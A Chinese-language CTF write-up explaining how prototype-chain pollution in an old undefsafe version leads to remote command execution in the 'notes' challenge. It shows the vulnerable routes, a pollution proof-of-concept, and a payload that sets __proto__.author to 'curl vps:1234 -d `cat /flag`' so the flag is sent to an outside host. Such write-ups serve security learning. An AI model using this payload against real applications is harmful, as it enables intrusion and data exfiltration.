原型链污染的利用思路扩展

  1. 1. 原型链污染分析
  2. 2. RCE
  3. 3. 总结
  4. 4. Reference

源于一道题: [网鼎杯 2020 青龙组]notes

做这道题的时候一直在想着找undefined属性 后面又因为一个坑没调试出来原型链污染效果=.=||

代码太长了就不贴了.

原型链污染分析

undefsafe低版本存在原型链污染, 详细信息: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

1
2
3
4
5
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);
// JHU

题目思路很简单,通过原型链污染RCE即可

/status 路由下存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
console.log(commands);
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

/edit_note 下三个参数都完全可控, 并且直接传给了Notes.edit_note , 可污染author和raw_note属性值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Notes {
//...
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
//...
}
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.send("edit note sucess");
res.end();
} else {
res.send("edit note failed");
res.end();
}
})

RCE

与常规原型链污染思路不一样的是这道题的commands并不是undefined并且也没用到commands的undefined属性值.

看一个demo:

img

引出两个问题:

  1. 为什么遍历commands这个json对象,xyz xyz会被遍历出来
  2. 为什么toString没被遍历出来.

这篇文章 提到: for...in 能够遍历到对象的可枚举的属性(包括对象自身的属性,原型链上的属性)

js可枚举属性和不可枚举属性: https://zhuanlan.zhihu.com/p/47291013

可枚举属性是指那些内部 “可枚举” 标志设置为 true 的属性。对于通过直接的赋值和属性初始化的属性,该标识值默认为即为 true。但是对于通过 Object.defineProperty 等定义的属性,该标识值默认为 false。

显然xyz为可枚举属性, toString为不可枚举属性. 所以xyz可以遍历到而toString不可以.

image-20210416163359107

所以正常污染一个属性然后调试是可以发现其属性值是可以被当作命令执行的,而调试的时候用的是漏洞poc, 污染了toString. =.=||

1
2
3
4
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

然后RCE就简单了

向路由edit_note传下面参数,

1
2
3
4
5
{
"id":"__proto__",
"author":"curl vps:1234 -d `cat /flag`",
"raw":"test"
}

构造:

1
undefsafe({},"__proto__.author","curl vps:1234 -d `cat /flag");

然后访问/status

image-20210416163251646

image-20210416163303778

总结

for...in 能够遍历到对象的可枚举的属性(包括对象自身的属性,原型链上的属性)

对于原型链污染利用思路的扩展: 只要涉及到原型链都可能会受到影响,扩展知识面才能扩展攻击面

Reference

JSON.parse() 对于 __proto__ 的处理 https://www.jianshu.com/p/ab3de959e19c

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

js可枚举属性和不可枚举属性 https://zhuanlan.zhihu.com/p/47291013

__proto__ and JSONhttps://esdiscuss.org/topic/proto-and-json